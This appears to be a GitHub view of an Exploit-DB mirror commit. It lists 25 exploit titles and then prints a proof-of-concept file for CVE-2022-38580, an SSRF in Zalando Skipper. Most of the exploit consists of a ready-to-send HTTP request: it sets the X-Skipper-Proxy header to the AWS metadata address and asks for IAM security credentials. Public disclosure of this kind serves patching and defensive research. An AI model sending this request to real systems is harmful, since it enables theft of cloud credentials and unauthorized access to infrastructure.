6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
31 lines
No EOL
1 KiB
Text
31 lines
No EOL
1 KiB
Text
#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
|
|
#Date: 24/10/2022
|
|
#Exploit Author: Hosein Vita & Milad Fadavvi
|
|
#Vendor Homepage: https://github.com/zalando/skipper
|
|
#Software Link: https://github.com/zalando/skipper
|
|
#Version: < v0.13.237
|
|
#Tested on: Linux
|
|
#CVE: CVE-2022-38580
|
|
|
|
|
|
Summary:
|
|
|
|
Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.
|
|
|
|
|
|
Proof Of Concept:
|
|
|
|
1- Add header "X-Skipper-Proxy" to your request
|
|
2- Add the aws metadata to the path
|
|
|
|
GET /latest/meta-data/iam/security-credentials HTTP/1.1
|
|
Host: yourskipperdomain.com
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
|
|
X-Skipper-Proxy: http://169.254.169.254
|
|
Connection: close
|
|
|
|
|
|
|
|
|
|
Reference:
|
|
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2 |